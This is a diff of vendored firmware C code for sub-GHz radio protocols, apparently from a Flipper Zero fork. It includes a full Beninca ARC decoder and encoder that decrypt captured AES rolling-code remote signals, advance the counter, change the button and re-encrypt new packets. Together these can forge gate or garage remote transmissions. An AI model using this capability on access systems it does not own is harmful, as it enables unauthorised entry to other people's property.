+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/base.c
@@ -0,0 +1,77 @@
+#include "base.h"
+#include "registry.h"
+#include "../blocks/generic.h"
+
+void subghz_protocol_decoder_base_set_decoder_callback(
+    SubGhzProtocolDecoderBase* decoder_base,
+    SubGhzProtocolDecoderBaseRxCallback callback,
+    void* context) {
+    furi_check(decoder_base);
+
+    decoder_base->callback = callback;
+    decoder_base->context = context;
+}
+
+bool subghz_protocol_decoder_base_get_string(
+    SubGhzProtocolDecoderBase* decoder_base,
+    FuriString* output) {
+    furi_check(decoder_base);
+    furi_check(output);
+
+    subghz_block_generic_global_reset(0);
+
+    bool status = false;
+
+    if(decoder_base->protocol && decoder_base->protocol->decoder &&
+       decoder_base->protocol->decoder->get_string) {
+        decoder_base->protocol->decoder->get_string(decoder_base, output);
+        status = true;
+    }
+
+    return status;
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_base_serialize(
+    SubGhzProtocolDecoderBase* decoder_base,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_check(decoder_base);
+    furi_check(flipper_format);
+
+    SubGhzProtocolStatus status = SubGhzProtocolStatusError;
+
+    if(decoder_base->protocol && decoder_base->protocol->decoder &&
+       decoder_base->protocol->decoder->serialize) {
+        status = decoder_base->protocol->decoder->serialize(decoder_base, flipper_format, preset);
+    }
+
+    return status;
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_base_deserialize(
+    SubGhzProtocolDecoderBase* decoder_base,
+    FlipperFormat* flipper_format) {
+    furi_check(decoder_base);
+
+    SubGhzProtocolStatus status = SubGhzProtocolStatusError;
+
+    if(decoder_base->protocol && decoder_base->protocol->decoder &&
+       decoder_base->protocol->decoder->deserialize) {
+        status = decoder_base->protocol->decoder->deserialize(decoder_base, flipper_format);
+    }
+
+    return status;
+}
+
+uint8_t subghz_protocol_decoder_base_get_hash_data(SubGhzProtocolDecoderBase* decoder_base) {
+    furi_check(decoder_base);
+
+    uint8_t hash = 0;
+
+    if(decoder_base->protocol && decoder_base->protocol->decoder &&
+       decoder_base->protocol->decoder->get_hash_data) {
+        hash = decoder_base->protocol->decoder->get_hash_data(decoder_base);
+    }
+
+    return hash;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/base.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/base.h
new file mode 100644
index 000000000..1d819ab5e
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/base.h
@@ -0,0 +1,88 @@
+#pragma once
+
+#include "../types.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzProtocolDecoderBase SubGhzProtocolDecoderBase;
+
+typedef void (
+    *SubGhzProtocolDecoderBaseRxCallback)(SubGhzProtocolDecoderBase* instance, void* context);
+
+typedef void (*SubGhzProtocolDecoderBaseSerialize)(
+    SubGhzProtocolDecoderBase* decoder_base,
+    FuriString* output);
+
+struct SubGhzProtocolDecoderBase {
+    // Decoder general section
+    const SubGhzProtocol* protocol;
+
+    // Callback section
+    SubGhzProtocolDecoderBaseRxCallback callback;
+    void* context;
+};
+
+/**
+ * Set a callback upon completion of successful decoding of one of the protocols.
+ * @param decoder_base Pointer to a SubGhzProtocolDecoderBase instance
+ * @param callback Callback, SubGhzProtocolDecoderBaseRxCallback
+ * @param context Context
+ */
+void subghz_protocol_decoder_base_set_decoder_callback(
+    SubGhzProtocolDecoderBase* decoder_base,
+    SubGhzProtocolDecoderBaseRxCallback callback,
+    void* context);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param decoder_base Pointer to a SubGhzProtocolDecoderBase instance
+ * @param output Resulting text
+ */
+bool subghz_protocol_decoder_base_get_string(
+    SubGhzProtocolDecoderBase* decoder_base,
+    FuriString* output);
+
+/**
+ * Serialize data SubGhzProtocolDecoderBase.
+ * @param decoder_base Pointer to a SubGhzProtocolDecoderBase instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return Status Error
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_base_serialize(
+    SubGhzProtocolDecoderBase* decoder_base,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderBase.
+ * @param decoder_base Pointer to a SubGhzProtocolDecoderBase instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return Status Error
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_base_deserialize(
+    SubGhzProtocolDecoderBase* decoder_base,
+    FlipperFormat* flipper_format);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param decoder_base Pointer to a SubGhzProtocolDecoderBase instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_base_get_hash_data(SubGhzProtocolDecoderBase* decoder_base);
+
+// Encoder Base
+typedef struct SubGhzProtocolEncoderBase SubGhzProtocolEncoderBase;
+
+struct SubGhzProtocolEncoderBase {
+    // Decoder general section
+    const SubGhzProtocol* protocol;
+
+    // Callback section
+};
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/beninca_arc.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/beninca_arc.c
new file mode 100644
index 000000000..308989d61
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/beninca_arc.c
@@ -0,0 +1,688 @@
+#include "beninca_arc.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+#include "core/log.h"
+#include <stddef.h>
+#include <stdint.h>
+#include "aes_common.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "BenincaARC"
+
+#define BENINCA_ARC_KEY_TYPE 9u
+
+static const SubGhzBlockConst subghz_protocol_beninca_arc_const = {
+    .te_short = 300,
+    .te_long = 600,
+    .te_delta = 155,
+    .min_count_bit_for_found = 128,
+};
+
+typedef enum {
+    BenincaARCDecoderStart = 0,
+    BenincaARCDecoderHighLevel,
+    BenincaARCDecoderLowLevel,
+} BenincaARCDecoderState;
+
+struct SubGhzProtocolDecoderBenincaARC {
+    SubGhzProtocolDecoderBase base;
+    SubGhzBlockDecoder decoder;
+
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+};
+
+struct SubGhzProtocolEncoderBenincaARC {
+    SubGhzProtocolEncoderBase base;
+    SubGhzProtocolBlockEncoder encoder;
+
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+};
+
+const SubGhzProtocolDecoder subghz_protocol_beninca_arc_decoder = {
+    .alloc = subghz_protocol_decoder_beninca_arc_alloc,
+    .free = subghz_protocol_decoder_beninca_arc_free,
+
+    .feed = subghz_protocol_decoder_beninca_arc_feed,
+    .reset = subghz_protocol_decoder_beninca_arc_reset,
+
+    .get_hash_data = subghz_protocol_decoder_beninca_arc_get_hash_data,
+    .serialize = subghz_protocol_decoder_beninca_arc_serialize,
+    .deserialize = subghz_protocol_decoder_beninca_arc_deserialize,
+    .get_string = subghz_protocol_decoder_beninca_arc_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_beninca_arc_encoder = {
+    .alloc = subghz_protocol_encoder_beninca_arc_alloc,
+    .free = subghz_protocol_encoder_beninca_arc_free,
+
+    .deserialize = subghz_protocol_encoder_beninca_arc_deserialize,
+    .stop = subghz_protocol_encoder_beninca_arc_stop,
+    .yield = subghz_protocol_encoder_beninca_arc_yield,
+};
+
+const SubGhzProtocol subghz_protocol_beninca_arc = {
+    .name = SUBGHZ_PROTOCOL_BENINCA_ARC_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_beninca_arc_decoder,
+    .encoder = &subghz_protocol_beninca_arc_encoder,
+};
+
+// Get custom button code
+static uint8_t subghz_protocol_beninca_arc_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x02:
+            btn = 0x04;
+            break;
+        case 0x04:
+            btn = 0x02;
+            break;
+        case 0x00:
+            btn = 0x04;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x02:
+            btn = 0x00;
+            break;
+        case 0x04:
+            btn = 0x00;
+            break;
+        case 0x00:
+            btn = 0x02;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+static void get_subghz_protocol_beninca_arc_aes_key(SubGhzKeystore* keystore, uint8_t* aes_key) {
+    uint64_t mfkey = 0;
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
+            if(manufacture_code->type == BENINCA_ARC_KEY_TYPE) {
+                mfkey = manufacture_code->key;
+                break;
+            }
+        }
+
+    uint32_t derived_lo = (uint32_t)(mfkey & 0xFFFFFFFF);
+    uint32_t derived_hi = (uint32_t)((mfkey >> 32) & 0xFFFFFFFF);
+
+    uint64_t val64_a = ((uint64_t)derived_hi << 32) | derived_lo;
+    for(uint8_t i = 0; i < 8; i++) {
+        aes_key[i] = (val64_a >> (56 - i * 8)) & 0xFF;
+    }
+
+    uint32_t new_lo = ((derived_hi >> 24) & 0xFF) | ((derived_hi >> 8) & 0xFF00) |
+                      ((derived_hi << 8) & 0xFF0000) | ((derived_hi << 24) & 0xFF000000);
+    uint32_t new_hi = ((derived_lo >> 24) & 0xFF) | ((derived_lo >> 8) & 0xFF00) |
+                      ((derived_lo << 8) & 0xFF0000) | ((derived_lo << 24) & 0xFF000000);
+
+    uint64_t val64_b = ((uint64_t)new_hi << 32) | new_lo;
+    for(uint8_t i = 0; i < 8; i++) {
+        aes_key[i + 8] = (val64_b >> (56 - i * 8)) & 0xFF;
+    }
+}
+
+static uint64_t
+    subghz_protocol_beninca_arc_decrypt(SubGhzBlockGeneric* generic, SubGhzKeystore* keystore) {
+    // Beninca ARC Decoder
+    // 01.2026 - @xMasterX (MMX) & @zero-mega
+
+    // Decrypt data
+    uint8_t encrypted_data[16];
+
+    for(uint8_t i = 0; i < 8; i++) {
+        encrypted_data[i] = (generic->data >> (56 - i * 8)) & 0xFF;
+        encrypted_data[i + 8] = (generic->data_2 >> (56 - i * 8)) & 0xFF;
+    }
+
+    reverse_bits_in_bytes(encrypted_data, 16);
+
+    uint8_t aes_key[16];
+    get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
+
+    uint8_t expanded_key[176];
+    aes_key_expansion(aes_key, expanded_key);
+
+    aes128_decrypt(expanded_key, encrypted_data);
+
+    // Serial number of remote
+    generic->serial = ((uint32_t)encrypted_data[0] << 24) | ((uint32_t)encrypted_data[1] << 16) |
+                      ((uint32_t)encrypted_data[2] << 8) | encrypted_data[3];
+
+    // Button code
+    generic->btn = encrypted_data[4];
+
+    // Middle bytes contains mini counter that is increased while button is held
+    // its value mostly stored in encrypted_data[9] but might be in other bytes as well
+    // In order to support all variants we read all middle bytes as uint64_t
+    // In case you have the remote with ARC rolling code please share RAW recording where you hold button for 15+ sec with us to improve this part!
+    uint64_t middle_bytes = 0;
+    middle_bytes = ((uint64_t)encrypted_data[5] << 32) | ((uint64_t)encrypted_data[6] << 24) |
+                   ((uint64_t)encrypted_data[7] << 16) | ((uint64_t)encrypted_data[8] << 8) |
+                   encrypted_data[9];
+
+    // 32-bit counter
+    generic->cnt = ((uint32_t)encrypted_data[10] << 24) | ((uint32_t)encrypted_data[11] << 16) |
+                   ((uint32_t)encrypted_data[12] << 8) | encrypted_data[13];
+    // Fixed constant value AA 55
+    generic->seed = ((uint16_t)encrypted_data[14] << 8) | encrypted_data[15];
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(generic->btn);
+    }
+    subghz_custom_btn_set_max(2);
+
+    return middle_bytes;
+}
+
+static void subghz_protocol_beninca_arc_encrypt(
+    SubGhzBlockGeneric* generic,
+    SubGhzKeystore* keystore,
+    uint64_t middle_bytes) {
+    // Beninca ARC Encoder
+    // 01.2026 - @xMasterX (MMX) & @zero-mega
+    // Encrypt data
+    uint8_t plaintext[16];
+
+    plaintext[0] = (generic->serial >> 24) & 0xFF;
+    plaintext[1] = (generic->serial >> 16) & 0xFF;
+    plaintext[2] = (generic->serial >> 8) & 0xFF;
+    plaintext[3] = generic->serial & 0xFF;
+    plaintext[4] = generic->btn;
+    plaintext[5] = (middle_bytes >> 32) & 0xFF;
+    plaintext[6] = (middle_bytes >> 24) & 0xFF;
+    plaintext[7] = (middle_bytes >> 16) & 0xFF;
+    plaintext[8] = (middle_bytes >> 8) & 0xFF;
+    plaintext[9] = middle_bytes & 0xFF;
+    plaintext[10] = (generic->cnt >> 24) & 0xFF;
+    plaintext[11] = (generic->cnt >> 16) & 0xFF;
+    plaintext[12] = (generic->cnt >> 8) & 0xFF;
+    plaintext[13] = generic->cnt & 0xFF;
+    plaintext[14] = (generic->seed >> 8) & 0xFF;
+    plaintext[15] = generic->seed & 0xFF;
+
+    uint8_t aes_key[16];
+    get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
+
+    uint8_t expanded_key[176];
+    aes_key_expansion(aes_key, expanded_key);
+
+    aes128_encrypt(expanded_key, plaintext);
+
+    reverse_bits_in_bytes(plaintext, 16);
+
+    for(uint8_t i = 0; i < 8; i++) {
+        generic->data = (generic->data << 8) | plaintext[i];
+        generic->data_2 = (generic->data_2 << 8) | plaintext[i + 8];
+    }
+    return;
+}
+
+void* subghz_protocol_encoder_beninca_arc_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolEncoderBenincaARC* instance = malloc(sizeof(SubGhzProtocolEncoderBenincaARC));
+
+    instance->base.protocol = &subghz_protocol_beninca_arc;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+
+    instance->encoder.repeat = 1;
+    instance->encoder.size_upload = 800;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    return instance;
+}
+
+void subghz_protocol_encoder_beninca_arc_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+void subghz_protocol_encoder_beninca_arc_stop(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+    instance->encoder.is_running = false;
+}
+
+static void subghz_protocol_beninca_arc_encoder_get_upload(
+    SubGhzProtocolEncoderBenincaARC* instance,
+    size_t* index) {
+    furi_assert(instance);
+    size_t index_local = *index;
+
+    // First part of data 64 bits
+    for(uint8_t i = 64; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index_local++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+            instance->encoder.upload[index_local++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index_local++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
+            instance->encoder.upload[index_local++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+        }
+    }
+    // Second part of data 64 bits - total 128bits data
+    for(uint8_t i = 64; i > 0; i--) {
+        if(bit_read(instance->generic.data_2, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index_local++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+            instance->encoder.upload[index_local++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index_local++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_long);
+            instance->encoder.upload[index_local++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+        }
+    }
+    // Add stop bit
+    instance->encoder.upload[index_local++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
+    // Add gap between packets
+    instance->encoder.upload[index_local++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long * 15);
+
+    *index = index_local;
+}
+
+static void subghz_protocol_beninca_arc_encoder_prepare_packets(
+    SubGhzProtocolEncoderBenincaARC* instance) {
+    furi_assert(instance);
+
+    // Counter increment
+    // check OFEX mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFFFFFF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+    } else {
+        // TODO: OFEX mode
+        instance->generic.cnt += 1;
+    }
+    // Index for upload array
+    size_t index = 0;
+    // Generate new key using custom or default button
+    instance->generic.btn = subghz_protocol_beninca_arc_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    // Make 3 packets with different mini counter values - 2, 4, 6
+    for(uint8_t i = 0; i < 3; i++) {
+        subghz_protocol_beninca_arc_encrypt(
+            &instance->generic, instance->keystore, (uint64_t)((i + 1) * 2));
+        subghz_protocol_beninca_arc_encoder_get_upload(instance, &index);
+    }
+    // Set final size of upload array
+    instance->encoder.size_upload = index;
+}
+
+bool subghz_protocol_beninca_arc_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint32_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    // UwU
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.btn = btn; // 02 / 04
+    instance->generic.cnt = cnt;
+    instance->generic.seed = 0xAA55; // Fixed value constant
+    instance->generic.data_count_bit = 128;
+
+    subghz_protocol_beninca_arc_encrypt(&instance->generic, instance->keystore, 0x1);
+
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Data2");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    return res == SubGhzProtocolStatusOk;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Data");
+            break;
+        }
+
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
+        }
+
+        // TODO: if minicounter having larger value use it instead of fixed values
+        subghz_protocol_beninca_arc_decrypt(&instance->generic, instance->keystore);
+
+        subghz_protocol_beninca_arc_encoder_prepare_packets(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Key");
+            break;
+        }
+
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Data");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+LevelDuration subghz_protocol_encoder_beninca_arc_yield(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBenincaARC* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_beninca_arc_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolDecoderBenincaARC* instance = malloc(sizeof(SubGhzProtocolDecoderBenincaARC));
+    instance->base.protocol = &subghz_protocol_beninca_arc;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+    instance->decoder.parser_step = BenincaARCDecoderStart;
+    return instance;
+}
+
+void subghz_protocol_decoder_beninca_arc_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_beninca_arc_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+    instance->decoder.parser_step = BenincaARCDecoderStart;
+}
+
+void subghz_protocol_decoder_beninca_arc_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case BenincaARCDecoderStart:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_long * 16) <
+                        subghz_protocol_beninca_arc_const.te_delta * 15)) {
+            // GAP (9300 +- 2325 us) found switch to next state
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = BenincaARCDecoderHighLevel;
+            break;
+        }
+        // No GAP so stay in current state
+        break;
+    case BenincaARCDecoderHighLevel:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = BenincaARCDecoderLowLevel;
+            // Check if we have collected enough bits
+            if((instance->decoder.decode_count_bit ==
+                (subghz_protocol_beninca_arc_const.min_count_bit_for_found / 2)) &&
+               (instance->decoder.decode_data != 0)) {
+                // Half data captured 64 bits
+                instance->generic.data = instance->decoder.decode_data;
+                instance->decoder.decode_data = 0;
+            } else if(
+                instance->decoder.decode_count_bit ==
+                subghz_protocol_beninca_arc_const.min_count_bit_for_found) {
+                // Full data captured 128 bits
+                instance->generic.data_2 = instance->decoder.decode_data;
+                instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                instance->decoder.parser_step = BenincaARCDecoderStart;
+
+                if(instance->base.callback) {
+                    instance->base.callback(&instance->base, instance->base.context);
+                }
+
+                break;
+            }
+        } else {
+            instance->decoder.parser_step = BenincaARCDecoderStart;
+        }
+        break;
+    case BenincaARCDecoderLowLevel:
+        if(!level) {
+            // Bit 1 is short and long timing = 300us HIGH (te_last) and 600us LOW
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_beninca_arc_const.te_short) <
+                subghz_protocol_beninca_arc_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_long) <
+                subghz_protocol_beninca_arc_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = BenincaARCDecoderHighLevel;
+                // Bit 0 is long and short timing = 600us HIGH (te_last) and 300us LOW
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_beninca_arc_const.te_long) <
+                 subghz_protocol_beninca_arc_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_short) <
+                 subghz_protocol_beninca_arc_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = BenincaARCDecoderHighLevel;
+            } else {
+                instance->decoder.parser_step = BenincaARCDecoderStart;
+            }
+            break;
+        } else {
+            instance->decoder.parser_step = BenincaARCDecoderStart;
+            break;
+        }
+    }
+}
+
+uint8_t subghz_protocol_decoder_beninca_arc_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_beninca_arc_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Data");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_beninca_arc_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Data");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_beninca_arc_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBenincaARC* instance = context;
+
+    uint64_t middle_bytes_dec =
+        subghz_protocol_beninca_arc_decrypt(&instance->generic, instance->keystore);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 32;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_printf(
+        output,
+        "%s %db\r\n"
+        "Key1:%08llX\r\n"
+        "Key2:%08llX\r\n"
+        "Sn:%08lX Btn:%02X\r\n"
+        "Mc:%0lX Cnt:%0lX\r\n"
+        "Fx:%04lX",
+        instance->base.protocol->name,
+        instance->generic.data_count_bit,
+        instance->generic.data,
+        instance->generic.data_2,
+        instance->generic.serial,
+        instance->generic.btn,
+        (uint32_t)(middle_bytes_dec & 0xFFFFFFFF),
+        instance->generic.cnt,
+        instance->generic.seed & 0xFFFF);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/beninca_arc.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/beninca_arc.h
new file mode 100644
